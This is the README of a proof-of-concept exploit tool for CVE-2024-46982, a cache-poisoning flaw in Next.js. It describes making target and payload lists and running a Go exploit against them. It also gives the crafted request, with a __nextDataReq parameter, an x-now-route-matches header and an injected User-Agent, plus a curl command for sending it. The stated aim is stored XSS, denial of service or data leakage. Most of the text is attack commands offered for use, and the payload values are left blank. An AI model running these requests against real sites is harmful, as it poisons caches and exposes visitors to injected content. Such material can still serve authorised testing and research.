
POC CVE-2024-46982
This tool automates the detection and exploitation of CVE-2024-46982, a cache poisoning vulnerability in Next.js, where Server-Side Rendering (SSR) responses can be incorrectly cached as Static Site Generation (SSG). This misconfiguration can lead to Stored XSS, DoS, and data leakage, allowing attackers to inject malicious content into cached responses.
Create a file named targets.txt containing one target URL per line:
https://vulnerable-site.com
https://another-target.com
Create a file named payloads.txt containing payloads that will be injected via the User-Agent header:
Compile and execute the exploit with:
go run exploit.go -f targets.txt -p payloads.txt -d 5
GET /poc?__nextDataReq=1 HTTP/1.1
Host: vulnerable-site.com
User-Agent: <PAYLOAD>
x-now-route-matches: 1
Send a malicious request using curl:
curl -X GET "https://vulnerable-site.com/poc?__nextDataReq=1" \
-H "User-Agent: " \
-H "x-now-route-matches: 1"
Visit the endpoint in a browser